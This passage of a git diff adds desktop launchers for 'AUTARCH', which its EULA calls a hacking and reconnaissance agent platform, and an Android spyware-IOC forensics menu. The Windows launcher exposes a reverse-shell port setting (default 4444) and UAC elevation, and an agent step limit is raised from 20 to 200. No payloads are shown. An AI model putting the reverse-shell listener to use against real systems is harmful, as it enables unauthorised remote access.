tv = Gtk.TextView() + tv.set_left_margin(8); tv.set_top_margin(8) + tv.get_buffer().set_text('\n'.join(cmds)) + tv.override_font(Pango.FontDescription('monospace 10')) + sw.add(tv) + d.get_content_area().pack_start(sw, True, True, 0) + d.show_all() + + if d.run() == Gtk.ResponseType.OK: + buf = tv.get_buffer() + text = buf.get_text(buf.get_start_iter(), buf.get_end_iter(), False) + new_cmds = sorted(set(c.strip() for c in text.split('\n') if c.strip())) + new_set = '{\n' + ''.join(f" '{c}',\n" for c in new_cmds) + '}' + new_src = re.sub(r'ALLOWED_COMMANDS\s*=\s*\{[^}]+\}', f'ALLOWED_COMMANDS = {new_set}', src, count=1) + daemon_py.write_text(new_src) + self.status.set_text(f"Whitelist saved: {len(new_cmds)} commands") + d.destroy() + + def _refresh_status(self): + d = "●" if is_daemon_running() else "○" + w = "●" if is_web_running() else "○" + dc = "#00ff41" if is_daemon_running() else "#ff3b30" + wc = "#00ff41" if is_web_running() else "#ff3b30" + self.status.set_markup( + f'{d} Daemon ' + f'{w} Web Server' + ) + return True # keep timer + + def _on_start(self, btn): + btn.set_sensitive(False) + self.status.set_text("Starting daemon (enter password)...") + # Run everything in a thread — pkexec is its own window, doesn't need the main thread + threading.Thread(target=self._do_start_all, args=(btn,), daemon=True).start() + + def _do_start_all(self, btn): + start_daemon() + GLib.idle_add(self._refresh_status) + start_web() + GLib.idle_add(self._refresh_status) + GLib.idle_add(lambda: btn.set_sensitive(True)) + + def _on_stop(self, btn): + btn.set_sensitive(False) + self.status.set_text("Stopping...") + threading.Thread(target=self._do_stop_all, args=(btn,), daemon=True).start() + + def _do_stop_all(self, btn): + stop_all() + GLib.idle_add(self._refresh_status) + GLib.idle_add(lambda: btn.set_sensitive(True)) + + def _on_reload(self, btn): + btn.set_sensitive(False) + self.status.set_text("Reloading...") + def do_reload(): + stop_all() + GLib.idle_add(self._refresh_status) + GLib.idle_add(lambda: self.status.set_text("Waiting 5 seconds...")) + time.sleep(5) + GLib.idle_add(lambda: self.status.set_text("Starting daemon (enter password)...")) + start_daemon() + GLib.idle_add(self._refresh_status) + start_web() + GLib.idle_add(self._refresh_status) + GLib.idle_add(lambda: btn.set_sensitive(True)) + threading.Thread(target=do_reload, daemon=True).start() + + def _on_start_web(self, btn): + threading.Thread(target=lambda: (start_web(), GLib.idle_add(self._refresh_status)), daemon=True).start() + + def _on_start_daemon(self, btn): + btn.set_sensitive(False) + self.status.set_text("Starting daemon (enter password)...") + def do(): + start_daemon() + GLib.idle_add(self._refresh_status) + GLib.idle_add(lambda: btn.set_sensitive(True)) + threading.Thread(target=do, daemon=True).start() + + def _on_quit(self, *a): + # Only stop the web server (runs as user, no password needed) + # Leave the daemon running — it's a system service + stop_web() + Gtk.main_quit() + + +def _rgba(r, g, b, a): + from gi.repository import Gdk + c = Gdk.RGBA(); c.red = r; c.green = g; c.blue = b; c.alpha = a + return c + + +def main(): + def launch(): + win = LauncherWindow() + + if SPLASH_FLAG.exists(): + launch() + else: + SplashScreen(on_accept=launch) + + Gtk.main() + + +if __name__ == '__main__': + main() diff --git a/launcher_windows.py b/launcher_windows.py new file mode 100644 index 0000000..dd25b35 --- /dev/null +++ b/launcher_windows.py @@ -0,0 +1,531 @@ +"""AUTARCH Desktop Launcher — Windows. + +Tkinter-based launcher equivalent to launcher_linux.py. Uses stdlib only (Tkinter + +ctypes). UAC ('runas') plays the role of pkexec/sudo for privileged operations. + +Run unprivileged for the web UI; relaunch elevated via the Elevate toggle when an +operation needs Administrator. The web app itself does not need elevation for most +features — only daemon-style privileged actions do. +""" + +import os +import sys +import time +import json +import ctypes +import signal +import socket +import threading +import subprocess +import configparser +import webbrowser +from pathlib import Path + +import tkinter as tk +from tkinter import ttk, messagebox, scrolledtext + + +DIR = Path(__file__).parent +CONF = DIR / 'autarch_settings.conf' +LOGO_PNG = DIR / 'assets' / 'logo.png' +ICON_ICO = DIR / 'autarch.ico' +SPLASH_FLAG = DIR / 'data' / '.splash_accepted' + +_web_proc: 'subprocess.Popen | None' = None + + +# ── Process helpers ─────────────────────────────────────────────────────────── + +def get_py() -> str: + """Return the Python interpreter to use for child processes.""" + venv_py = DIR / 'venv' / 'Scripts' / 'python.exe' + return str(venv_py) if venv_py.exists() else sys.executable + + +def is_admin() -> bool: + try: + return bool(ctypes.windll.shell32.IsUserAnAdmin()) + except Exception: + return False + + +def relaunch_elevated() -> None: + """Restart this launcher with Administrator rights via UAC.""" + params = ' '.join(f'"{a}"' for a in sys.argv) + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, params, str(DIR), 1) + sys.exit(0) + + +def is_web_running() -> bool: + if _web_proc is not None and _web_proc.poll() is None: + return True + # Also check whether something is listening on the configured port + try: + cfg = _read_config() + port = int(cfg.get('web', 'port', fallback='8181')) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.settimeout(0.3) + return s.connect_ex(('127.0.0.1', port)) == 0 + except Exception: + return False + + +def start_web() -> bool: + global _web_proc + if is_web_running(): + return True + py = get_py() + # CREATE_NO_WINDOW (0x08000000) hides the console for the child + flags = 0x08000000 if hasattr(subprocess, 'CREATE_NO_WINDOW') else 0 + _web_proc = subprocess.Popen( + [py, str(DIR / 'autarch_web.py')], + cwd=str(DIR), + creationflags=flags, + ) + return True + + +def stop_web() -> None: + global _web_proc + if _web_proc is not None: + try: + _web_proc.terminate() + _web_proc.wait(timeout=5) + except Exception: + try: + _web_proc.kill() + except Exception: + pass + _web_proc = None + # Fallback: kill anything still bound to the configured port + cfg = _read_config() + port = cfg.get('web', 'port', fallback='8181') + subprocess.run(['taskkill', '/F', '/IM', 'python.exe', '/FI', f'WINDOWTITLE eq AUTARCH*'], + capture_output=True, shell=False) + + +def open_dashboard() -> None: + cfg = _read_config() + host = cfg.get('web', 'host', fallback='127.0.0.1') + if host in ('0.0.0.0', ''): + host = '127.0.0.1' + port = cfg.get('web', 'port', fallback='8181') + scheme = 'https' if cfg.get('web', 'https', fallback='true').lower() != 'false' else 'http' + webbrowser.open(f'{scheme}://{host}:{port}/') + + +def _read_config() -> configparser.ConfigParser: + cfg = configparser.ConfigParser() + if CONF.exists(): + try: + cfg.read(str(CONF)) + except Exception: + pass + return cfg + + +# ── EULA / Privacy text (kept in sync with launcher_linux.py) ───────────────── + +EULA_TEXT = """AUTARCH — Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking +By darkHal Security Group & Setec Security Labs + +END USER LICENSE AGREEMENT + +1. DISCLAIMER OF WARRANTY +This software is provided "AS IS" without warranty of any kind, express or implied. The authors make no guarantees regarding functionality, reliability, or fitness for any particular purpose. Use at your own risk. + +2. LIMITATION OF LIABILITY +In no event shall darkHal Security Group, Setec Security Labs, or any contributors be held liable for any damages whatsoever arising from the use of this software, including but not limited to direct, indirect, incidental, special, or consequential damages. + +3. AUTHORIZED USE ONLY +This software is designed for authorized security testing and research. You are solely responsible for ensuring you have proper authorization before testing any system. Unauthorized access to computer systems is illegal. + +4. LICENSE +Unless otherwise noted on a module, tool, addon, or extension: + - This software is FREE for personal/home use + - This software is FREE to give away (unmodified) for home use + - Commercial use is NOT permitted without a commercial license + - Government use is PROHIBITED — however, a single-day user license may be purchased for the deed to half of the United States of America, or $10,000 USD per minute of use, whichever is greater + +5. NO RESPONSIBILITY +We are not responsible for what you do with this software. If you break the law, that's on you. If you get caught, that's also on you. We told you not to do it. +""" + +PRIVACY_TEXT = """PRIVACY POLICY & ACKNOWLEDGEMENTS + +COOKIES & DATA COLLECTION +AUTARCH does not collect, transmit, or sell any user data. All data stays on your machine. There are no analytics, telemetry, tracking pixels, or phone-home features. We don't want your data. We have enough of our own problems. + +This policy complies with GDPR (EU), CCPA (California), PIPEDA (Canada), LGPD (Brazil), POPIA (South Africa), and every other privacy regulation because the answer to "what data do you collect?" is "none." + +THIRD-PARTY ACKNOWLEDGEMENTS +All rights reserved (c) Setec Security Labs 2020-2026. + +AUTARCH is built with the help of outstanding open-source projects. We are NOT affiliated with any of the following organizations. All trademarks belong to their respective owners. + +PLEASE SUPPORT THESE PROJECTS +If you find AUTARCH useful, consider donating to the open-source projects that make it possible. They do the hard work. We just glued it together. +""" + + +# ── Theme ───────────────────────────────────────────────────────────────────── + +BG = '#14171f' +PANEL = '#1d2230' +TEXT = '#e4e6f0' +DIM = '#8b8fa8' +ACCENT = '#3df0c0' +ACCENT_HOT = '#ff3d81' +WARN = '#ffb13d' +DANGER = '#ff4d57' + + +def _style_root(win: tk.Tk | tk.Toplevel) -> None: + win.configure(bg=BG) + if ICON_ICO.exists(): + try: + win.iconbitmap(str(ICON_ICO)) + except Exception: + pass + + +# ── Splash ──────────────────────────────────────────────────────────────────── + +class Splash: + def __init__(self, on_accept): + self.on_accept = on_accept + self.root = tk.Tk() + self.root.title("AUTARCH") + self.root.geometry('640x720') + self.root.resizable(False, False) + _style_root(self.root) + self._build_eula() + self.root.protocol('WM_DELETE_WINDOW', self._reject) + self.root.mainloop() + + def _build_eula(self): + for w in self.root.winfo_children(): + w.destroy() + tk.Label(self.root, text='AUTARCH', font=('Segoe UI', 28, 'bold'), + fg=ACCENT, bg=BG).pack(pady=(24, 4)) + tk.Label(self.root, text='Security Platform', fg=DIM, bg=BG, + font=('Segoe UI', 10)).pack(pady=(0, 12)) + + txt = scrolledtext.ScrolledText(self.root, wrap=tk.WORD, font=('Consolas', 9), + bg=PANEL, fg=TEXT, insertbackground=TEXT, + borderwidth=0, padx=12, pady=8, height=22) + txt.pack(fill='both', expand=True, padx=20) + txt.insert('1.0', EULA_TEXT) + txt.configure(state='disabled') + + bar = tk.Frame(self.root, bg=BG) + bar.pack(fill='x', pady=14, padx=20) + tk.Button(bar, text='Screw This Shit', command=self._reject, + bg=PANEL, fg=DANGER, activebackground=PANEL, borderwidth=0, + padx=14, pady=6).pack(side='left') + tk.Button(bar, text='I Accept', command=self._show_privacy, + bg=ACCENT, fg='#04110d', activebackground=ACCENT, borderwidth=0, + padx=14, pady=6, font=('Segoe UI', 10, 'bold')).pack(side='right') + + def _show_privacy(self): + for w in self.root.winfo_children(): + w.destroy() + tk.Label(self.root, text='Privacy & Acknowledgements', + font=('Segoe UI', 18, 'bold'), fg=ACCENT, bg=BG).pack(pady=(24, 4)) + tk.Label(self.root, text='Scroll to the bottom to continue', fg=WARN, bg=BG, + font=('Segoe UI', 9)).pack(pady=(0, 12)) + + txt = scrolledtext.ScrolledText(self.root, wrap=tk.WORD, font=('Consolas', 9), + bg=PANEL, fg=TEXT, insertbackground=TEXT, + borderwidth=0, padx=12, pady=8, height=22) + txt.pack(fill='both', expand=True, padx=20) + txt.insert('1.0', PRIVACY_TEXT) + txt.configure(state='disabled') + + bar = tk.Frame(self.root, bg=BG) + bar.pack(fill='x', pady=14, padx=20) + + next_btn = tk.Button(bar, text='Next', state='disabled', + bg=ACCENT, fg='#04110d', activebackground=ACCENT, + borderwidth=0, padx=14, pady=6, + font=('Segoe UI', 10, 'bold'), + command=self._accept) + next_btn.pack(side='right') + + def watch(): + try: + if txt.yview()[1] >= 0.98: + next_btn.configure(state='normal') + else: + self.root.after(250, watch) + except tk.TclError: + pass + self.root.after(250, watch) + + def _accept(self): + SPLASH_FLAG.parent.mkdir(parents=True, exist_ok=True) + SPLASH_FLAG.write_text('accepted', encoding='utf-8') + self.root.destroy() + self.on_accept() + + def _reject(self): + if messagebox.askyesno( + 'AUTARCH', + "Really? You're going to pass on this masterpiece?\n\nQuit now?"): + self.root.destroy() + sys.exit(0) + + +# ── Main launcher window ────────────────────────────────────────────────────── + +class LauncherWindow: + def __init__(self): + self.root = tk.Tk() + self.root.title('AUTARCH Launcher') + self.root.geometry('560x520') + self.root.minsize(520, 480) + _style_root(self.root) + + self.cfg = _read_config() + + self._build_header() + self._build_controls() + self._build_settings() + self._build_footer() + + self._refresh_status() + self.root.protocol('WM_DELETE_WINDOW', self._on_quit) + self.root.after(2500, self._tick_status) + + def run(self): + self.root.mainloop() + + def _build_header(self): + head = tk.Frame(self.root, bg=BG) + head.pack(fill='x', padx=20, pady=(18, 8)) + tk.Label(head, text='AUTARCH', font=('Segoe UI', 22, 'bold'), + fg=ACCENT, bg=BG).pack(side='left') + tk.Label(head, text='Security Platform', font=('Segoe UI', 10), + fg=DIM, bg=BG).pack(side='left', padx=(12, 0), pady=(8, 0)) + + admin_badge_text = 'ADMIN' if is_admin() else 'USER' + admin_color = ACCENT_HOT if is_admin() else DIM + self.admin_lbl = tk.Label(head, text=admin_badge_text, + font=('Consolas', 9, 'bold'), + fg=admin_color, bg=BG, + borderwidth=1, relief='solid', + padx=6, pady=2) + self.admin_lbl.pack(side='right') + + def _build_controls(self): + wrap = tk.LabelFrame(self.root, text=' Service ', bg=BG, fg=DIM, + font=('Segoe UI', 9), borderwidth=1, relief='solid', + labelanchor='nw') + wrap.pack(fill='x', padx=20, pady=10) + + self.status_lbl = tk.Label(wrap, text='Stopped', font=('Consolas', 10), + fg=DIM, bg=BG) + self.status_lbl.pack(pady=(10, 6)) + + grid = tk.Frame(wrap, bg=BG) + grid.pack(pady=(0, 12)) + + self.btn_start = tk.Button(grid, text='Start Web', width=14, + command=self._on_start, + bg=ACCENT, fg='#04110d', borderwidth=0, + font=('Segoe UI', 10, 'bold'), + activebackground=ACCENT) + self.btn_start.grid(row=0, column=0, padx=4, pady=4) + self.btn_stop = tk.Button(grid, text='Stop Web', width=14, + command=self._on_stop, + bg=PANEL, fg=DANGER, borderwidth=0, + font=('Segoe UI', 10, 'bold'), + activebackground=PANEL) + self.btn_stop.grid(row=0, column=1, padx=4, pady=4) + self.btn_open = tk.Button(grid, text='Open Dashboard', width=18, + command=open_dashboard, + bg=PANEL, fg=ACCENT, borderwidth=0, + font=('Segoe UI', 10), + activebackground=PANEL) + self.btn_open.grid(row=0, column=2, padx=4, pady=4) + + if not is_admin(): + tk.Button(grid, text='Elevate (UAC)', width=14, + command=relaunch_elevated, + bg=PANEL, fg=WARN, borderwidth=0, + font=('Segoe UI', 9), + activebackground=PANEL).grid(row=1, column=0, padx=4, pady=(2, 0)) + + def _build_settings(self): + nb = ttk.Notebook(self.root) + nb.pack(fill='both', expand=True, padx=20, pady=(0, 10)) + + # Web settings tab + web = tk.Frame(nb, bg=BG) + nb.add(web, text='Web Server') + + rows = [('web', 'host', 'Listen Host', '0.0.0.0'), + ('web', 'port', 'Listen Port', '8181'), + ('web', 'mcp_port', 'MCP Port', '8081'), + ('revshell', 'port', 'Reverse Shell Port', '4444')] + self.entries: dict[tuple[str, str], tk.Entry] = {} + for i, (sec, key, label, default) in enumerate(rows): + tk.Label(web, text=label, fg=TEXT, bg=BG, + font=('Segoe UI', 10)).grid(row=i, column=0, sticky='w', + padx=12, pady=6) + e = tk.Entry(web, bg=PANEL, fg=TEXT, insertbackground=TEXT, + borderwidth=0, relief='flat', + font=('Consolas', 10)) + e.insert(0, self.cfg.get(sec, key, fallback=default)) + e.grid(row=i, column=1, sticky='ew', padx=12, pady=6) + self.entries[(sec, key)] = e + + web.grid_columnconfigure(1, weight=1) + + tk.Button(web, text='Save Settings', command=self._save_settings, + bg=ACCENT, fg='#04110d', borderwidth=0, + font=('Segoe UI', 9, 'bold'), + activebackground=ACCENT).grid(row=len(rows), column=0, columnspan=2, + pady=12) + + # Logs tab + logs = tk.Frame(nb, bg=BG) + nb.add(logs, text='Logs') + + self.log_view = scrolledtext.ScrolledText(logs, wrap=tk.WORD, + font=('Consolas', 9), + bg=PANEL, fg=TEXT, + insertbackground=TEXT, + borderwidth=0, + padx=8, pady=8, height=14) + self.log_view.pack(fill='both', expand=True, padx=8, pady=8) + self.log_view.configure(state='disabled') + + ctl = tk.Frame(logs, bg=BG) + ctl.pack(fill='x', padx=8, pady=(0, 8)) + tk.Button(ctl, text='Refresh', command=self._refresh_logs, + bg=PANEL, fg=TEXT, borderwidth=0, + font=('Segoe UI', 9), + activebackground=PANEL).pack(side='left') + tk.Button(ctl, text='Open Log Folder', command=self._open_log_folder, + bg=PANEL, fg=TEXT, borderwidth=0, + font=('Segoe UI', 9), + activebackground=PANEL).pack(side='left', padx=6) + + # Info tab + info = tk.Frame(nb, bg=BG) + nb.add(info, text='Info') + info_text = ( + f'AUTARCH Windows Launcher\n' + f'Project: {DIR}\n' + f'Python: {sys.executable}\n' + f'Admin: {"yes" if is_admin() else "no"}\n\n' + f'Linux equivalent: launcher_linux.py (GTK3 + pkexec daemon).\n' + f'On Windows, privileged operations elevate per-process via UAC.' + ) + tk.Label(info, text=info_text, justify='left', fg=DIM, bg=BG, + font=('Consolas', 9)).pack(padx=14, pady=14, anchor='nw') + + def _build_footer(self): + foot = tk.Frame(self.root, bg=BG) + foot.pack(fill='x', padx=20, pady=(0, 14)) + tk.Label(foot, text='ANARCHY IS LIFE / LIFE IS ANARCHY', + font=('Consolas', 8), fg=DIM, bg=BG).pack(side='left') + tk.Button(foot, text='Quit', command=self._on_quit, + bg=PANEL, fg=TEXT, borderwidth=0, + font=('Segoe UI', 9), + activebackground=PANEL).pack(side='right') + + def _save_settings(self): + for (sec, key), entry in self.entries.items(): + if not self.cfg.has_section(sec): + self.cfg.add_section(sec) + self.cfg.set(sec, key, entry.get()) + with open(CONF, 'w', encoding='utf-8') as f: + self.cfg.write(f) + messagebox.showinfo('AUTARCH', 'Settings saved.') + + def _refresh_logs(self): + log_dir = DIR / 'data' / 'logs' + latest = None + if log_dir.exists(): + try: + logs = sorted(log_dir.glob('*.log'), + key=lambda p: p.stat().st_mtime, reverse=True) + if logs: + latest = logs[0] + except Exception: + pass + self.log_view.configure(state='normal') + self.log_view.delete('1.0', 'end') + if latest: + try: + self.log_view.insert('1.0', latest.read_text(encoding='utf-8', + errors='replace')) + self.log_view.see('end') + except Exception as e: + self.log_view.insert('1.0', f'(failed to read log: {e})') + else: + self.log_view.insert('1.0', '(no logs yet — start the web server first)') + self.log_view.configure(state='disabled') + + def _open_log_folder(self): + log_dir = DIR / 'data' / 'logs' + log_dir.mkdir(parents=True, exist_ok=True) + os.startfile(str(log_dir)) + + def _refresh_status(self): + running = is_web_running() + if running: + self.status_lbl.configure(text='● Web server running', + fg=ACCENT) + else: + self.status_lbl.configure(text='○ Stopped', fg=DIM) + + def _tick_status(self): + self._refresh_status() + self.root.after(2500, self._tick_status) + + def _on_start(self, *_): + self.status_lbl.configure(text='Starting...', fg=WARN) + + def go(): + start_web() + self.root.after(400, self._refresh_status) + threading.Thread(target=go, daemon=True).start() + + def _on_stop(self, *_): + self.status_lbl.configure(text='Stopping...', fg=WARN) + + def go(): + stop_web() + self.root.after(400, self._refresh_status) + threading.Thread(target=go, daemon=True).start() + + def _on_quit(self, *_): + if is_web_running(): + if not messagebox.askyesno( + 'AUTARCH', + 'The web server is still running. Stop it and quit?'): + return + stop_web() + try: + self.root.destroy() + finally: + sys.exit(0) + + +# ── Entry point ─────────────────────────────────────────────────────────────── + +def main(): + def launch(): + LauncherWindow().run() + + if SPLASH_FLAG.exists(): + launch() + else: + Splash(on_accept=launch) + + +if __name__ == '__main__': + main() diff --git a/modules/agent.py b/modules/agent.py index 00f60c3..a2d2196 100644 --- a/modules/agent.py +++ b/modules/agent.py @@ -87,7 +87,7 @@ class AgentInterface: self.agent = Agent( llm=self.llm, tools=self.tools, - max_steps=20, + max_steps=200, verbose=True ) diff --git a/modules/android_forensics.py b/modules/android_forensics.py new file mode 100644 index 0000000..9413d85 --- /dev/null +++ b/modules/android_forensics.py @@ -0,0 +1,372 @@ +""" +Autarch Android Forensics — forensic acquisition and IOC scanning for Android devices. +""" + +DESCRIPTION = "Android forensic acquisition and spyware IOC scanning" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "counter" + + +class AutarchAndroidModule: + """Interactive Android forensics CLI menu.""" + + def __init__(self): + from core.android_forensics import get_android_forensics_manager + from core.hardware import get_hardware_manager + self.mgr = get_android_forensics_manager() + self.hw = get_hardware_manager() + self.serial = None + + def _pick_device(self): + devices = self.hw.adb_devices() + if not devices: + print(" No ADB devices connected.") + return None + if len(devices) == 1: + self.serial = devices[0]['serial'] + print(f" Selected: {self.serial}") + return self.serial + print("\n Select device:") + for i, d in enumerate(devices, 1): + model = d.get('model', '') + print(f" {i}) {d['serial']} {model}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.serial = devices[choice - 1]['serial'] + return self.serial + except (ValueError, EOFError, KeyboardInterrupt): + pass + return None + + def _ensure_device(self): + if self.serial: + return self.serial + return self._pick_device() + + def _sev_marker(self, sev): + return {'critical': '[!!!]', 'high': '[!! ]', 'medium': '[! ]', 'low': '[ ]'}.get(sev, '[? ]') + + def show_menu(self): + status = self.hw.get_status() + serial_str = self.serial or 'None selected' + stats = self.mgr.get_ioc_stats() + counts = stats.get('counts', {}) + ioc_str = (f"{counts.get('packages', 0)} pkgs, " + f"{counts.get('domains', 0)} domains, " + f"{counts.get('certs', 0)} certs, " + f"{counts.get('hashes', 0)} hashes") + + print(f"\n{'='*60}") + print(" Autarch Android Forensics") + print(f"{'='*60}") + print(f" ADB: {'Available' if status.get('adb') else 'Not found'}") + print(f" Device: {serial_str}") + print(f" IOC DB: {ioc_str}") + print() + print(" -- Acquisition --") + print(" 1) Full Acquisition (all modules)") + print(" 2) Package List") + print(" 3) Running Processes") + print(" 4) System Properties (getprop)") + print(" 5) Settings") + print(" 6) Services") + print(" 7) Dumpsys") + print(" 8) Logcat") + print(" 9) Temp Files") + print() + print(" -- IOC Scanning --") + print(" 20) Scan Apps vs IOC Database") + print(" 21) Scan APK Certificates") + print(" 22) Scan Network Indicators") + print(" 23) Scan File Artifacts") + print(" 24) Scan Running Processes") + print(" 25) Full IOC Scan (all)") + print() + print(" -- Reports --") + print(" 30) List Past Acquisitions") + print(" 31) View Acquisition Report") + print() + print(" -- Database --") + print(" 40) IOC Database Stats") + print(" 41) Reload IOC Database") + print() + print(" [s] Select Device | [0] Back") + print() + + # ── Acquisition ───────────────────────────────────────────────── + + def do_full_acquisition(self): + if not self._ensure_device(): + return + print(f"\n Running full acquisition on {self.serial}...") + print(" This may take several minutes.") + result = self.mgr.full_acquisition(self.serial) + summary = result.get('scan_summary', {}) + modules = result.get('modules', {}) + print(f"\n Acquisition complete: {result.get('acq_id', '')}") + print(f" Modules collected: {len(modules)}") + print(f" IOC findings: {summary.get('total_findings', 0)}") + print(f" Critical: {summary.get('critical', 0)}") + print(f" High: {summary.get('high', 0)}") + if not summary.get('clean', True): + print("\n Findings:") + for f in result.get('ioc_findings', [])[:20]: + marker = self._sev_marker(f.get('severity', 'high')) + print(f" {marker} [{f.get('type', '?')}] {f.get('threat_name', '?')}") + detail = f.get('package') or f.get('process') or f.get('path') or f.get('remote_ip', '') + if detail: + print(f" {detail}") + else: + print(" Device appears clean.") + + def do_acquire_module(self, module_name): + if not self._ensure_device(): + return + func_map = { + 'packages': self.mgr.acquire_packages, + 'processes': self.mgr.acquire_processes, + 'getprop': self.mgr.acquire_getprop, + 'settings': self.mgr.acquire_settings, + 'services': self.mgr.acquire_services, + 'dumpsys': self.mgr.acquire_dumpsys, + 'logcat': self.mgr.acquire_logcat, + 'tmp_files': self.mgr.acquire_tmp_files, + } + func = func_map.get(module_name) + if not func: + print(f" Unknown module: {module_name}") + return + print(f"\n Acquiring {module_name} from {self.serial}...") + result = func(self.serial) + if not result.get('ok'): + print(f" Error: {result.get('error', 'Unknown')}") + return + if module_name == 'packages': + pkgs = result.get('packages', []) + print(f" Found {len(pkgs)} packages ({sum(1 for p in pkgs if p.get('system'))} system, " + f"{sum(1 for p in pkgs if not p.get('system'))} user)") + for p in pkgs[:20]: + marker = "[sys]" if p.get('system') else "[usr]" + print(f" {marker} {p['package']}") + if len(pkgs) > 20: + print(f" ... and {len(pkgs) - 20} more") + elif module_name == 'getprop': + props = result.get('props', {}) + print(f" {len(props)} properties") + for k in ('ro.product.model', 'ro.build.version.release', 'ro.build.fingerprint', + 'ro.secure', 'ro.debuggable', 'net.dns1', 'net.dns2'): + if k in props: + print(f" {k} = {props[k]}") + else: + out = result.get('output', '') + lines = out.splitlines() + print(f" {len(lines)} lines") + for line in lines[:30]: + print(f" {line}") + if len(lines) > 30: + print(f" ... {len(lines) - 30} more lines") + + # ── IOC Scanning ───────────────────────────────────────────────── + + def _print_findings(self, result, scan_name): + if not result.get('ok'): + print(f" Error: {result.get('error', 'Unknown')}") + return + findings = result.get('findings', []) + note = result.get('note', '') + if note: + print(f" Note: {note}") + if findings: + print(f"\n {scan_name}: {len(findings)} finding(s)") + for f in findings: + marker = self._sev_marker(f.get('severity', 'high')) + name = f.get('threat_name', '?') + detail = f.get('package') or f.get('process') or f.get('path') or f.get('remote_ip', '') + print(f" {marker} {name}") + if detail: + print(f" {detail}") + print(f" Source: {f.get('source', '?')}") + else: + scanned = result.get('total_scanned', '') + scanned_str = f" ({scanned} scanned)" if scanned else "" + print(f" {scan_name}: Clean{scanned_str}") + + def do_scan_packages(self): + if not self._ensure_device(): + return + print(f"\n Scanning packages on {self.serial}...") + self._print_findings(self.mgr.scan_packages(self.serial), "Package Scan") + + def do_scan_certs(self): + if not self._ensure_device(): + return + print(f"\n Scanning APK certificates (may take a while)...") + self._print_findings(self.mgr.scan_certificates(self.serial), "Certificate Scan") + + def do_scan_network(self): + if not self._ensure_device(): + return + print(f"\n Scanning network indicators on {self.serial}...") + self._print_findings(self.mgr.scan_network_indicators(self.serial), "Network Scan") + + def do_scan_files(self): + if not self._ensure_device(): + return + print(f"\n Scanning file artifacts on {self.serial}...") + self._print_findings(self.mgr.scan_file_indicators(self.serial), "File Scan") + + def do_scan_processes(self): + if not self._ensure_device(): + return + print(f"\n Scanning running processes on {self.serial}...") + self._print_findings(self.mgr.scan_process_indicators(self.serial), "Process Scan") + + def do_full_scan(self): + if not self._ensure_device(): + return + print(f"\n Running full IOC scan on {self.serial}...") + all_findings = [] + for scan_name, func in [ + ("Packages", self.mgr.scan_packages), + ("Certs", self.mgr.scan_certificates), + ("Network", self.mgr.scan_network_indicators), + ("Files", self.mgr.scan_file_indicators), + ("Processes", self.mgr.scan_process_indicators), + ]: + print(f" Scanning {scan_name}...", end='', flush=True) + result = func(self.serial) + found = len(result.get('findings', [])) + print(f" {found} findings") + all_findings.extend(result.get('findings', [])) + + print(f"\n Total findings: {len(all_findings)}") + if all_findings: + for f in all_findings: + marker = self._sev_marker(f.get('severity', 'high')) + detail = f.get('package') or f.get('process') or f.get('path') or f.get('remote_ip', '') + print(f" {marker} {f.get('threat_name', '?')} — {detail}") + else: + print(" Device appears clean.") + + # ── Reports ────────────────────────────────────────────────────── + + def do_list_acquisitions(self): + if not self._ensure_device(): + return + acqs = self.mgr.get_acquisition_list(self.serial) + if not acqs: + print(f" No acquisitions found for {self.serial}") + return + print(f"\n Acquisitions for {self.serial}:") + for i, a in enumerate(acqs, 1): + ts = a.get('timestamp', a['acq_id']) + findings = a.get('findings', 0) + modules = ', '.join(a.get('modules', [])) + print(f" {i:2}) {ts} findings={findings} [{modules}]") + + def do_view_report(self): + if not self._ensure_device(): + return + acqs = self.mgr.get_acquisition_list(self.serial) + if not acqs: + print(f" No acquisitions found for {self.serial}") + return + print(f"\n Select acquisition:") + for i, a in enumerate(acqs, 1): + print(f" {i}) {a.get('timestamp', a['acq_id'])}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(acqs): + result = self.mgr.export_report(self.serial, acqs[choice - 1]['acq_id']) + if result.get('ok'): + report = result['report'] + summary = report.get('scan_summary', {}) + print(f"\n Report: {report.get('acq_id', '')}") + print(f" Device: {report.get('serial', '')}") + print(f" Time: {report.get('timestamp', '')}") + print(f" Total findings: {summary.get('total_findings', 0)}") + print(f" Critical: {summary.get('critical', 0)}, High: {summary.get('high', 0)}") + for f in report.get('ioc_findings', []): + marker = self._sev_marker(f.get('severity', 'high')) + detail = f.get('package') or f.get('process') or f.get('path') or '' + print(f" {marker} {f.get('threat_name', '?')}: {detail}") + else: + print(f" Error: {result.get('error')}") + except (ValueError, EOFError, KeyboardInterrupt): + pass + + # ── Database ───────────────────────────────────────────────────── + + def do_ioc_stats(self): + stats = self.mgr.get_ioc_stats() + counts = stats.get('counts', {}) + sources = stats.get('sources', {}) + print(f"\n IOC Database Statistics:") + print(f" Generated: {stats.get('generated', 'N/A')}") + print(f" Packages: {counts.get('packages', 0)}") + print(f" Domains: {counts.get('domains', 0)}") + print(f" Certificates: {counts.get('certs', 0)}") + print(f" File paths: {counts.get('file_paths', 0)}") + print(f" Process names: {counts.get('processes', 0)}") + print(f" Hashes: {counts.get('hashes', 0)}") + print(f" IPs: {counts.get('ips', 0)}") + if sources: + print(f"\n Sources:") + print(f" Stalkerware YAML: {'Yes' if sources.get('stalkerware_ioc_yaml') else 'No'}") + print(f" Amnesty campaigns: {sources.get('amnesty_investigations', 0)}") + print(f" MVT campaigns: {sources.get('mvt_campaigns', 0)}") + print(f" Citizen Lab: {sources.get('citizen_lab_campaigns', 0)}") + print(f" YARA rules: {sources.get('yara_rules', 0)}") + + def do_reload_db(self): + print(" Reloading IOC database from disk...") + db = self.mgr.reload_ioc_database() + print(f" Done — {len(db.get('packages', {}))} packages, " + f"{len(db.get('domains', {}))} domains loaded") + + # ── Main Loop ───────────────────────────────────────────────────── + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + + actions = { + '1': self.do_full_acquisition, + '2': lambda: self.do_acquire_module('packages'), + '3': lambda: self.do_acquire_module('processes'), + '4': lambda: self.do_acquire_module('getprop'), + '5': lambda: self.do_acquire_module('settings'), + '6': lambda: self.do_acquire_module('services'), + '7': lambda: self.do_acquire_module('dumpsys'), + '8': lambda: self.do_acquire_module('logcat'), 